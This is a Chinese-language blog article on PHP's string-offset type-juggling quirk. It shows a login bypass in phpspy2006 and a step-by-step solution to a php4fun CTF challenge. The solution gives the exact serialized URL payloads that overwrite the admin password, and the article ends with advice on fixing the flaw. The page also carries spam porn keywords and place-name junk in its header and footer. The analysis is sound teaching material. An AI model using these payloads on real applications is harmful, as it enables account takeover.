亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

由php中字符offset特征造成繞過漏洞的示例分析

發布時間:2021-08-17 10:48:54 來源:億速云 閱讀:132 作者:小新 欄目:開發技術

這篇文章主要介紹由php中字符offset特征造成繞過漏洞的示例分析,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!

php中的字符offset特性

php中的字符串存在一個非常有趣的特性,php中的字符串也可以像數組一樣進行取值。

$test = "hello world";
echo $test[0];

最后的結果就是h。

但是上述的這種特性有時會有意想不到的效果,看下面這段代碼

$mystr = "hello world";
echo $mystr["pass"];

上述的代碼的輸出結果是h.這是為什么呢?其實很簡單,和很多其他的語言一樣,字符串在php中也像數組一樣可以使用下標取值。$mystr["pass"]中pass會被進行隱性類型轉換為0,這樣$mystr[0]的輸出結果就是首字母h.
同樣地,如果嘗試如下的代碼:

$mystr = "hello world";
echo $mystr["1pass"];

輸出結果就是e.因為1pass會被隱性類型轉換為1,$mystr[1]的輸出結果就是第二個字母e.

字符特性造成的漏洞

下面這段代碼是在在phpspy2006中用于判斷登錄時所使用的代碼。

$admin['check'] = "1";
$admin['pass'] = "angel";
......
if($admin['check'] == "1") {
....
}

這樣的驗證邏輯如果利用上述的特性就很容易地就可以被繞過。$admin沒有被初始定義為數組類型,那么當我們用字符串提交時phpsyp.php?admin=1abc時,php會取字符串1xxx的第一位,成功繞過if的條件判斷。

上面那段代碼是一個代碼片段,接下來的這段代碼是一段完整的邏輯代碼,來自于php4fun中第5題,比較有意思。

<?php
# GOAL: overwrite password for admin (id=1)
#  Try to login as admin
# $yourInfo=array( //this is your user data in the db
# 'id' => 8,
# 'name' => 'jimbo18714',
# 'pass' => 'MAYBECHANGED',
# 'level' => 1
# );
require 'db.inc.php';

function mres($str)
{
 return mysql_real_escape_string($str);
}

$userInfo = @unserialize($_GET['userInfo']);

$query = 'SELECT * FROM users WHERE id = \'' . mres($userInfo['id']) . '\' AND pass = \'' . mres($userInfo['pass']) . '\';';

$result = mysql_query($query);
if (!$result || mysql_num_rows($result) < 1) {
 die('Invalid password!');
}

$row = mysql_fetch_assoc($result);
foreach ($row as $key => $value) {
 $userInfo[$key] = $value;
}

$oldPass = @$_GET['oldPass'];
$newPass = @$_GET['newPass'];
if ($oldPass == $userInfo['pass']) {
 $userInfo['pass'] = $newPass;
 $query = 'UPDATE users SET pass = \'' . mres($newPass) . '\' WHERE id = \'' . mres($userInfo['id']) . '\';';
 mysql_query($query);
 echo 'Password Changed.';
} else {
 echo 'Invalid old password entered.';
}

這道題目網上也僅僅只是給了一個最終的答案,其中的原理都沒有說或者沒有說得很詳細。其實原理就是上面講到的php的字符特性。

題目要求很簡單就是修改admin的密碼,admin的id為1。我們需要思考以下幾個問題:

  • 如何在更新的時候將id修改為1

  • $userInfo['pass'] = $newPass;這行代碼有什么作用,為什么會在if判斷語句中存在這種的代碼

想通了這兩個問題,那么最終的解決方法也有了。將id為8的用戶的密碼修改為8,然后傳入一個userInfo的字符串‘8',突破查詢防護,最后利用$userInfo['pass'] = $newPass將id修改為1。

最終的payload就是;

第一次提交, index.php?userInfo=a:2:{s:2:"id";i:8;s:4:"pass";s:12:"MAYBECHANGED";}&oldPass=MAYBECHANGED&newPass=8,目的是將id為8的用戶的密碼修改為8

第二次提交,index.php?userInfo=s:1:"8";&oldPass=8&newPass=1,這樣序列化$userInfo得到的就是字符串‘8',即$userInfo = ‘8' ,這樣數據庫查詢驗證就可以通過。之后的if驗證也可以通過,通過這行代碼$userInfo['pass'] = $newPass;,由于$newpass的值為1,那么上述代碼變為了$userInfo['pass'] = 1; ,$userInfo由于一個字符串類型,最后得到的是$userInfo='1' ,最后就可以更新id為1的用戶的密碼了。

修復方式

這種漏洞的修復方式也很簡單,事先定義好數據類型同時在使用時最好檢查一下所使用的數據類型是否和預期的一致。否則就會出現上述的繞過的問題。同時要控制好輸入,對輸入的數據要進行檢查不要隨意地使用。

以上是“由php中字符offset特征造成繞過漏洞的示例分析”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

南木林县| 麻栗坡县| 徐闻县| 唐河县| 阳东县| 云浮市| 永泰县| 寿光市| 柘荣县| 卢龙县| 湛江市| 黄陵县| 通化县| 光泽县| 汶川县| 贡山| 平邑县| 湛江市| 资中县| 忻州市| 图们市| 襄城县| 无为县| 唐河县| 农安县| 昔阳县| 前郭尔| 河池市| 建瓯市| 兴和县| 普兰县| 株洲市| 长沙县| 喀什市| 宣汉县| 巴彦县| 黄龙县| 乌拉特前旗| 房产| 通城县| 镇沅|